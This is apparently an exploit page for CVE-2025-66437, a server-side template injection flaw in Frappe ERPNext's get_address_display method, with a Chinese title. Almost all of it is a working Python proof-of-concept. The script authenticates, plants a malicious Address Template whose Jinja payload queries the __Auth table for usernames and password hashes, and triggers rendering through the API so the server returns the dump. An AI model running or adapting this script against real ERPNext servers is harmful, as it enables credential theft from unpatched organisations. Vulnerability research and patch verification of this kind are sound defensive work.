CVE-2025-66437 Frappe ERPNext get_address_display方法SSTI漏洞

# CVE-2025-66437 SSTI PoC for Frappe ERPNext # Target: Frappe ERPNext < 15.89.0 import requests import json TARGET_URL = "https://erpnext.example.com" USERNAME = "[email protected]" PASSWORD = "password123" session = requests.Session() # Step 1: Login to get session login_url = f"{TARGET_URL}/api/method/login" login_data = {"usr": USERNAME, "pwd": PASSWORD} session.post(login_url, json=login_data) # Step 2: Create malicious Address Template with SSTI payload template_url = f"{TARGET_URL}/api/resource/Address Template" template_payload = { "name": "Malicious Template", "country": "Test Country", "template": "{{ frappe.db.sql('SELECT user, password FROM __Auth') }}" } try: session.post(template_url, json=template_payload) except: pass # Step 3: Create Address document using the malicious template address_url = f"{TARGET_URL}/api/resource/Address" address_payload = { "address_title": "Malicious Address", "address_type": "Billing", "country": "Test Country", "address_line1": "Test Street" } address_response = session.post(address_url, json=address_payload) address_name = address_response.json().get("data", {}).get("name") # Step 4: Trigger SSTI via get_address_display API api_url = f"{TARGET_URL}/api/method/frappe.contacts.doctype.address.address.get_address_display" params = {"address_dict": address_name} response = session.get(api_url, params=params) print("Response:", response.text) # The response will contain the result of the SQL query